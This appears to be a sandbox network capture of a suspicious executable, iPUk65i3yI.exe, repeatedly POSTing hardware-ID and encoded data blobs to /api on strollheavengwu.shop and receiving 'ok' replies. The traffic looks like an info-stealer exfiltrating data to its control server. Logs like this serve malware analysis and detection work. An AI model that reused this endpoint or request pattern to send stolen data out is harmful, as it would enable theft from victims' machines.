2024-04-22 20:27:03 UTC	808	IN	HTTP/1.1 200 OK Date: Mon, 22 Apr 2024 20:27:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lhaammt6l3c5t7bk4alhhp6shd; expires=Fri, 16-Aug-2024 14:13:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rXAieG6FvNHHn4hn6AlRfu77R%2B5kpgop12cHVsmyykM1pAmJyOwFp39x7kU9cvJgjJRLh7ghPV8nsVmdwxBcwPDzbr2OZt2USfES43t%2B7SM0N56cB4dE7Zvy7Adrf%2BaV1TJVfnrapA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87885a31c90fad80-ATL alt-svc: h3=":443"; ma=86400
2024-04-22 20:27:03 UTC	561	IN	Data Raw: 33 39 65 63 0d 0a 51 55 66 6c 35 67 42 74 43 4f 59 70 46 6b 32 47 73 39 71 35 38 6e 2b 71 68 58 46 70 66 61 67 65 48 69 36 34 64 75 64 30 6c 6f 4d 36 54 65 7a 45 64 6b 38 79 78 68 30 36 52 34 2b 52 71 64 7a 51 52 59 72 78 41 78 77 59 68 42 51 58 44 4e 6b 53 78 55 36 32 35 53 41 72 6c 6f 4d 73 5a 77 48 45 52 47 35 76 76 4a 4f 42 73 2f 73 45 6f 49 78 34 53 78 6a 47 50 43 51 4f 6d 67 47 43 46 76 50 37 4e 53 4b 4c 6c 57 6b 43 5a 71 5a 45 63 7a 6e 6e 33 72 76 4b 6d 56 48 44 36 6c 4e 46 64 36 45 58 50 45 76 43 56 4e 31 55 74 4d 34 6b 4d 34 53 72 59 52 35 6a 78 41 55 63 52 49 2b 52 76 38 33 51 52 59 71 6e 4c 55 73 4e 79 57 78 2f 51 38 73 71 78 55 37 74 33 32 4d 75 6b 59 4e 79 44 48 79 50 52 6e 67 2b 32 70 48 67 6a 38 4a 50 6d 72 56 42 46 46 2b 69 46 32 4d 6b 73 Data Ascii: 39ecQUfl5gBtCOYpFk2Gs9q58n+qhXFpfageHi64dud0loM6TezEdk8yxh06R4+RqdzQRYrxAxwYhBQXDNkSxU625SArloMsZwHERG5vvJOBs/sEoIx4SxjGPCQOmgGCFvP7NSKLlWkCZqZEcznn3rvKmVHD6lNFd6EXPEvCVN1UtM4kM4SrYR5jxAUcRI+Rv83QRYqnLUsNyWx/Q8sqxU7t32MukYNyDHyPRng+2pHgj8JPmrVBFF+iF2Mks
2024-04-22 20:27:03 UTC	1369	IN	Data Raw: 76 5a 64 2f 47 49 67 6c 6b 68 55 5a 30 50 65 7a 61 73 39 36 43 46 73 48 71 48 67 73 53 77 48 4e 2f 54 4e 30 65 6a 78 6e 2b 35 53 34 6f 67 59 52 69 54 79 54 73 49 42 39 76 34 38 6e 34 67 39 4a 64 36 2b 49 44 44 42 50 63 50 6b 59 4d 73 6e 2b 61 57 4a 2b 6a 59 55 33 73 6e 51 70 6b 41 63 52 4d 65 47 2b 38 6b 2f 6a 54 6c 52 37 4c 37 42 77 49 46 38 46 75 66 46 37 63 47 59 41 45 38 75 51 74 4c 34 53 57 61 41 46 73 68 30 4a 2f 4a 75 48 57 76 4a 76 65 64 61 4f 4d 55 77 77 48 69 69 51 2b 44 50 73 5a 6a 68 72 2b 39 69 4e 6c 37 2b 39 39 51 51 4c 76 55 68 78 45 6a 35 47 2f 31 39 42 46 69 71 63 58 43 68 76 4c 65 48 4a 43 33 68 69 44 47 50 6e 75 4a 53 2b 48 67 32 67 48 59 6f 56 47 66 79 44 6b 31 4c 58 66 6c 68 48 4a 34 6c 4e 46 64 36 45 58 50 45 76 43 56 4e 31 55 74 4d Data Ascii: vZd/GIglkhUZ0Pezas96CFsHqHgsSwHN/TN0ejxn+5S4ogYRiTyTsIB9v48n4g9Jd6+IDDBPcPkYMsn+aWJ+jYU3snQpkAcRMeG+8k/jTlR7L7BwIF8FufF7cGYAE8uQtL4SWaAFsh0J/JuHWvJvedaOMUwwHiiQ+DPsZjhr+9iNl7+99QQLvUhxEj5G/19BFiqcXChvLeHJC3hiDGPnuJS+Hg2gHYoVGfyDk1LXflhHJ4lNFd6EXPEvCVN1UtM
2024-04-22 20:27:03 UTC	1369	IN	Data Raw: 69 47 4d 64 62 59 31 43 66 69 37 71 33 72 50 58 6c 51 2f 44 36 42 73 45 48 73 64 78 64 30 6a 61 56 4d 74 2b 6e 34 70 6a 49 70 2f 45 4f 6b 30 71 70 55 5a 37 50 65 66 41 2b 75 36 54 45 38 62 67 42 55 74 33 6f 57 4d 79 4a 4c 45 4e 37 58 32 66 6f 53 51 70 78 39 77 67 54 32 75 49 52 33 55 67 34 74 75 77 32 4a 45 50 77 65 67 62 42 42 62 4c 66 33 68 4e 30 41 61 58 46 76 6a 7a 4c 79 2b 42 69 32 38 44 4b 73 6f 6a 48 30 53 6b 31 71 43 62 79 46 2b 49 7a 52 41 66 48 4d 41 2b 53 55 2f 55 47 6f 49 41 74 49 6c 49 4f 73 6e 73 43 52 59 43 37 79 41 30 4b 4f 69 52 34 4a 6e 51 45 4d 6e 76 46 52 6b 51 78 33 39 79 51 74 55 52 69 68 37 30 34 53 34 67 67 34 39 70 44 47 65 41 57 58 34 76 37 4e 53 35 30 5a 70 64 68 6f 39 34 59 46 2f 4e 5a 44 77 55 6d 46 53 30 41 66 2b 6a 46 69 61 Data Ascii: iGMdbY1Cfi7q3rPXlQ/D6BsEHsdxd0jaVMt+n4pjIp/EOk0qpUZ7PefA+u6TE8bgBUt3oWMyJLEN7X2foSQpx9wgT2uIR3Ug4tuw2JEPwegbBBbLf3hN0AaXFvjzLy+Bi28DKsojH0Sk1qCbyF+IzRAfHMA+SU/UGoIAtIlIOsnsCRYC7yA0KOiR4JnQEMnvFRkQx39yQtURih704S4gg49pDGeAWX4v7NS50Zpdho94YF/NZDwUmFS0Af+jFia
2024-04-22 20:27:03 UTC	1369	IN	Data Raw: 47 79 42 52 6e 4d 6b 35 38 4f 71 32 4a 51 54 78 4b 64 64 59 33 53 68 50 48 74 55 6d 6b 7a 48 56 74 48 32 49 44 57 42 68 79 4a 6e 41 5a 73 46 48 45 54 39 75 64 4f 77 30 42 72 45 70 30 74 4a 58 38 70 79 63 45 66 64 48 34 34 53 38 4f 45 75 4c 6f 6d 4b 61 77 4e 69 69 45 78 6d 49 75 48 5a 73 74 4b 56 45 63 58 6b 41 51 67 65 69 6a 49 55 4a 37 46 55 67 67 36 30 75 57 46 6c 6f 4c 64 56 4c 43 72 73 49 47 74 68 6a 4c 71 68 73 2f 74 32 69 4f 41 66 53 30 65 49 50 48 31 45 33 52 71 42 42 50 72 7a 4c 53 4b 48 67 6d 6f 48 62 59 68 46 65 6a 33 73 30 4c 6a 56 6e 78 58 42 34 78 49 50 47 38 5a 37 50 41 4b 79 66 2b 35 57 38 2f 6c 6a 66 63 58 45 53 67 78 77 6e 67 6c 61 4a 4f 54 57 71 4d 32 4c 58 61 43 4d 44 45 56 33 6f 57 55 55 4a 37 46 55 67 68 71 30 75 57 46 6c 67 34 39 6f Data Ascii: GyBRnMk58Oq2JQTxKddY3ShPHtUmkzHVtH2IDWBhyJnAZsFHET9udOw0BrEp0tJX8pycEfdH44S8OEuLomKawNiiExmIuHZstKVEcXkAQgeijIUJ7FUgg60uWFloLdVLCrsIGthjLqhs/t2iOAfS0eIPH1E3RqBBPrzLSKHgmoHbYhFej3s0LjVnxXB4xIPG8Z7PAKyf+5W8/ljfcXESgxwnglaJOTWqM2LXaCMDEV3oWUUJ7FUghq0uWFlg49o
2024-04-22 20:27:03 UTC	1369	IN	Data Raw: 42 33 4a 65 33 53 74 4e 32 52 45 38 6a 70 45 30 74 52 6f 68 63 58 44 4e 30 4d 78 55 36 32 6f 51 4d 75 6b 5a 46 68 48 32 79 44 52 7a 52 48 6a 38 37 32 73 2f 73 45 6f 49 78 34 53 78 6a 47 50 43 51 4f 6d 68 71 58 45 76 58 68 4b 79 79 4c 6a 32 6f 64 62 59 4e 41 65 69 48 76 31 62 54 53 6d 78 54 4e 36 78 49 41 46 73 39 34 64 6b 72 58 56 4d 74 2b 6e 34 70 6a 49 70 2f 45 4f 6b 30 71 71 45 68 37 4a 4b 53 35 30 38 54 65 64 61 50 2b 65 32 42 30 69 6e 74 77 44 49 4a 57 78 52 48 38 36 53 30 6d 67 59 39 75 41 32 75 4e 54 58 45 6e 34 39 36 2f 30 70 63 64 7a 76 55 55 42 68 62 4b 64 33 56 47 33 68 57 4f 56 72 71 4a 53 45 37 48 67 33 70 50 4d 73 59 4c 52 69 6a 79 77 62 75 62 2b 48 62 58 71 58 68 6a 64 4e 4d 55 46 79 65 61 45 34 6c 57 72 4b 4e 6a 4b 4a 57 46 5a 78 31 75 69 Data Ascii: B3Je3StN2RE8jpE0tRohcXDN0MxU62oQMukZFhH2yDRzRHj872s/sEoIx4SxjGPCQOmhqXEvXhKyyLj2odbYNAeiHv1bTSmxTN6xIAFs94dkrXVMt+n4pjIp/EOk0qqEh7JKS508TedaP+e2B0intwDIJWxRH86S0mgY9uA2uNTXEn496/0pcdzvUUBhbKd3VG3hWOVrqJSE7Hg3pPMsYLRijywbub+HbXqXhjdNMUFyeaE4lWrKNjKJWFZx1ui
2024-04-22 20:27:03 UTC	1369	IN	Data Raw: 6f 33 72 76 55 6b 78 37 4a 37 51 45 5a 45 38 4e 30 65 55 44 52 47 6f 4d 45 38 75 34 71 4a 6f 53 4e 5a 51 64 6d 6a 6b 68 7a 62 36 71 35 30 37 44 51 47 74 43 6e 53 30 6c 66 36 57 74 73 51 5a 70 38 37 67 6d 36 69 55 67 38 37 2b 38 4a 54 32 32 49 43 79 78 74 70 4e 6d 31 30 35 6f 5a 7a 2b 6f 55 44 52 62 59 64 58 6c 43 32 68 43 4f 47 66 4c 6c 49 43 57 56 67 6d 59 48 61 59 6c 47 65 69 7a 67 6b 66 61 7a 2b 33 61 49 34 41 74 4c 52 34 67 38 54 6b 48 55 44 34 6f 52 35 65 74 6a 54 65 79 62 4c 47 63 42 6e 53 4d 66 52 4b 54 57 74 4a 76 49 58 34 6a 6a 48 52 6b 55 79 33 64 33 51 74 30 62 67 42 7a 30 37 69 63 6d 69 59 39 6a 44 47 4b 4a 52 6e 6f 6c 37 64 69 2f 31 35 51 61 69 4b 6c 37 59 48 53 4b 65 32 51 4d 67 6c 62 46 50 64 58 4d 44 79 4b 64 78 41 70 6b 64 63 6f 6a 48 7a Data Ascii: o3rvUkx7J7QEZE8N0eUDRGoME8u4qJoSNZQdmjkhzb6q507DQGtCnS0lf6WtsQZp87gm6iUg87+8JT22ICyxtpNm105oZz+oUDRbYdXlC2hCOGfLlICWVgmYHaYlGeizgkfaz+3aI4AtLR4g8TkHUD4oR5etjTeybLGcBnSMfRKTWtJvIX4jjHRkUy3d3Qt0bgBz07icmiY9jDGKJRnol7di/15QaiKl7YHSKe2QMglbFPdXMDyKdxApkdcojHz
2024-04-22 20:27:03 UTC	1369	IN	Data Raw: 32 49 59 51 32 4b 64 37 59 41 43 45 46 42 64 56 73 6e 2f 75 56 76 50 74 59 33 33 46 78 47 51 47 62 49 4e 4e 65 6a 33 68 31 37 66 55 6d 52 54 4d 37 78 41 4c 47 38 35 37 65 55 2f 57 48 34 49 56 2b 2b 55 71 4b 34 36 4c 49 6b 45 43 37 79 41 30 4b 50 79 52 34 4a 6e 51 50 4e 50 6b 48 77 5a 66 6f 68 64 6a 41 72 4a 2f 6e 48 36 66 69 6d 4d 69 69 38 51 36 54 53 71 49 52 58 45 76 37 74 65 38 33 70 59 58 7a 65 63 59 43 42 44 4f 65 6e 68 44 32 68 2b 4d 46 2f 4c 6b 4b 53 36 42 69 57 45 4a 62 4d 51 46 48 45 53 50 6b 62 2f 44 30 45 57 4b 70 7a 4d 51 45 73 5a 37 50 43 53 78 43 38 74 2b 6e 2f 68 4c 54 75 7a 45 5a 51 4d 71 33 41 6b 30 4a 4f 6a 56 76 39 75 64 48 73 44 69 46 77 45 61 79 6e 52 75 52 4e 6f 54 6c 77 54 30 36 43 59 70 68 49 52 6d 43 57 4f 43 53 48 42 76 71 72 6e Data Ascii: 2IYQ2Kd7YACEFBdVsn/uVvPtY33FxGQGbINNej3h17fUmRTM7xALG857eU/WH4IV++UqK46LIkEC7yA0KPyR4JnQPNPkHwZfohdjArJ/nH6fimMii8Q6TSqIRXEv7te83pYXzecYCBDOenhD2h+MF/LkKS6BiWEJbMQFHESPkb/D0EWKpzMQEsZ7PCSxC8t+n/hLTuzEZQMq3Ak0JOjVv9udHsDiFwEaynRuRNoTlwT06CYphIRmCWOCSHBvqrn
2024-04-22 20:27:03 UTC	1369	IN	Data Raw: 64 43 6e 53 30 6c 66 2f 33 39 79 51 74 30 43 6c 46 76 54 37 79 51 6b 6b 5a 52 31 41 43 72 4b 49 78 39 45 70 4e 66 34 67 39 4a 4f 68 6f 39 34 59 46 2f 4f 62 54 77 55 6d 45 54 58 54 61 47 79 64 48 58 56 37 41 6b 51 4a 4f 77 67 62 55 65 50 75 76 6a 4e 30 45 57 4b 74 56 31 6a 64 4b 45 38 62 67 79 43 56 73 56 52 39 2f 4d 78 49 34 53 53 59 55 68 55 75 6d 78 69 4a 65 50 42 76 38 79 66 58 59 61 50 65 47 42 66 78 54 77 6b 44 75 4e 38 37 6e 32 66 6f 53 6f 69 6e 4a 56 30 41 6e 71 44 43 78 78 45 6a 2b 37 32 73 2f 74 32 69 50 39 54 55 31 32 4b 53 58 39 43 31 42 4f 54 42 37 6e 47 4e 53 2b 41 6c 47 55 59 5a 63 51 46 48 45 53 50 6b 62 36 62 79 46 2b 62 71 58 74 67 64 49 70 34 62 51 79 43 56 74 56 45 72 37 52 77 63 74 66 57 43 6d 52 31 79 69 4d 66 4e 6f 79 36 30 35 75 47 Data Ascii: dCnS0lf/39yQt0ClFvT7yQkkZR1ACrKIx9EpNf4g9JOho94YF/ObTwUmETXTaGydHXV7AkQJOwgbUePuvjN0EWKtV1jdKE8bgyCVsVR9/MxI4SSYUhUumxiJePBv8yfXYaPeGBfxTwkDuN87n2foSoinJV0AnqDCxxEj+72s/t2iP9TU12KSX9C1BOTB7nGNS+AlGUYZcQFHESPkb6byF+bqXtgdIp4bQyCVtVEr7RwctfWCmR1yiMfNoy605uG
2024-04-22 20:27:03 UTC	1369	IN	Data Raw: 45 79 58 38 6c 75 62 67 50 4c 41 6f 67 47 38 36 30 72 4e 49 71 49 49 6b 45 6f 78 41 64 77 4a 4f 6a 55 76 38 76 66 44 39 6a 73 48 78 31 54 7a 6d 34 38 41 70 68 55 6c 42 33 37 38 79 30 69 79 4a 56 30 41 6e 71 48 54 6e 4e 6a 37 4d 43 31 31 39 42 54 69 71 63 47 41 42 50 4d 63 57 6b 44 79 77 4b 47 41 50 4f 74 4b 7a 53 4b 69 43 49 77 4a 4f 77 67 48 32 2f 38 6b 65 43 5a 30 43 6a 4c 36 52 30 4d 43 64 73 78 58 45 66 57 46 34 6b 58 38 36 46 74 54 65 7a 76 49 67 6b 71 33 41 6b 6e 59 59 79 36 30 35 75 55 44 49 69 2f 55 56 74 4e 6b 53 6b 76 47 34 70 47 37 58 33 72 72 30 74 4f 6e 75 77 4a 5a 43 71 53 43 79 78 74 74 70 2f 51 73 50 74 64 32 71 64 4c 53 56 2b 4e 66 32 35 65 33 42 65 54 46 62 50 66 48 53 53 4b 69 79 34 42 59 59 52 4d 5a 44 6e 2f 6e 62 44 59 69 67 66 32 32 Data Ascii: EyX8lubgPLAogG860rNIqIIkEoxAdwJOjUv8vfD9jsHx1Tzm48AphUlB378y0iyJV0AnqHTnNj7MC119BTiqcGABPMcWkDywKGAPOtKzSKiCIwJOwgH2/8keCZ0CjL6R0MCdsxXEfWF4kX86FtTezvIgkq3AknYYy605uUDIi/UVtNkSkvG4pG7X3rr0tOnuwJZCqSCyxttp/QsPtd2qdLSV+Nf25e3BeTFbPfHSSKiy4BYYRMZDn/nbDYigf22

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	104.21.15.198	443	7352	C:\Users\user\Desktop\iPUk65i3yI.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-22 20:27:04 UTC	286	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18167 Host: strollheavengwu.shop
2024-04-22 20:27:04 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 30 46 33 46 30 43 30 41 42 45 30 36 44 44 33 38 43 38 41 41 42 46 32 45 45 45 45 31 32 34 44 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 36 4d 6b 30 4d 2d 2d 73 75 70 65 72 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"70F3F0C0ABE06DD38C8AABF2EEEE124D--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"P6Mk0M--super
2024-04-22 20:27:04 UTC	2836	OUT	Data Raw: b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 f8 Data Ascii: ~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3
2024-04-22 20:27:04 UTC	810	IN	HTTP/1.1 200 OK Date: Mon, 22 Apr 2024 20:27:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d85sq7bvvi6ks5cbo9datjrevt; expires=Fri, 16-Aug-2024 14:13:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jy6gj6jM2EadPxs3mhnZMI95WqhUA4Jng4hFRMUYrY0Ae8mIMI%2FpUqfuNv8Iw98Je8%2BJSXfJjroCA3tLWgQHZJiSZnjQ9Fgw%2BfZg5V2DXbVNzOmKxymMpFKA0KFB%2BL2HJtmufkiyqQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87885a36cca4456b-ATL alt-svc: h3=":443"; ma=86400
2024-04-22 20:27:04 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-22 20:27:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	104.21.15.198	443	7352	C:\Users\user\Desktop\iPUk65i3yI.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-22 20:27:04 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8788 Host: strollheavengwu.shop
2024-04-22 20:27:04 UTC	8788	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 30 46 33 46 30 43 30 41 42 45 30 36 44 44 33 38 43 38 41 41 42 46 32 45 45 45 45 31 32 34 44 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 36 4d 6b 30 4d 2d 2d 73 75 70 65 72 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"70F3F0C0ABE06DD38C8AABF2EEEE124D--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"P6Mk0M--super
2024-04-22 20:27:05 UTC	810	IN	HTTP/1.1 200 OK Date: Mon, 22 Apr 2024 20:27:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=80hnm4av4sgc9abou1m282f9tg; expires=Fri, 16-Aug-2024 14:13:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZecMiykp9TZCtDz1dp%2B25aM6sUri9Kr2A0lx9CbOsNJb1ZeRIjAKRIBDYts1xFWv%2BXNH40BQbrNBbycB3gsi3Fo7uM6ZuM4Vm2F4H7sycVb%2BRNsVN0KIofwZmOERYdYNQvby3SLX%2Fg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87885a3c28757bba-ATL alt-svc: h3=":443"; ma=86400
2024-04-22 20:27:05 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-22 20:27:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	104.21.15.198	443	7352	C:\Users\user\Desktop\iPUk65i3yI.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-22 20:27:05 UTC	286	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20441 Host: strollheavengwu.shop
2024-04-22 20:27:05 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 30 46 33 46 30 43 30 41 42 45 30 36 44 44 33 38 43 38 41 41 42 46 32 45 45 45 45 31 32 34 44 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 36 4d 6b 30 4d 2d 2d 73 75 70 65 72 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"70F3F0C0ABE06DD38C8AABF2EEEE124D--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"P6Mk0M--super
2024-04-22 20:27:05 UTC	5110	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 Data Ascii: `M?lrQMn 64F6(X&7~`a
2024-04-22 20:27:06 UTC	814	IN	HTTP/1.1 200 OK Date: Mon, 22 Apr 2024 20:27:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hhg5vnl7sg6ntqu6sdeq4hkfun; expires=Fri, 16-Aug-2024 14:13:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ElX4nVc7q8%2BhlLjNZ%2FWZjeNwDCmyVA%2BnNQ12%2BXAILQQjm4piysBt9eDrYr5PSiS0Wi1gqYkNUD%2BiOP6J%2FkLpry40K55fBxbZKPQD20upX2yhj69iRfzAhnIGaLrdtxdGr6izftqFfQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87885a41dc30678a-ATL alt-svc: h3=":443"; ma=86400
2024-04-22 20:27:06 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-22 20:27:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	104.21.15.198	443	7352	C:\Users\user\Desktop\iPUk65i3yI.exe

Timestamp	Bytes transferred	Direction	Data
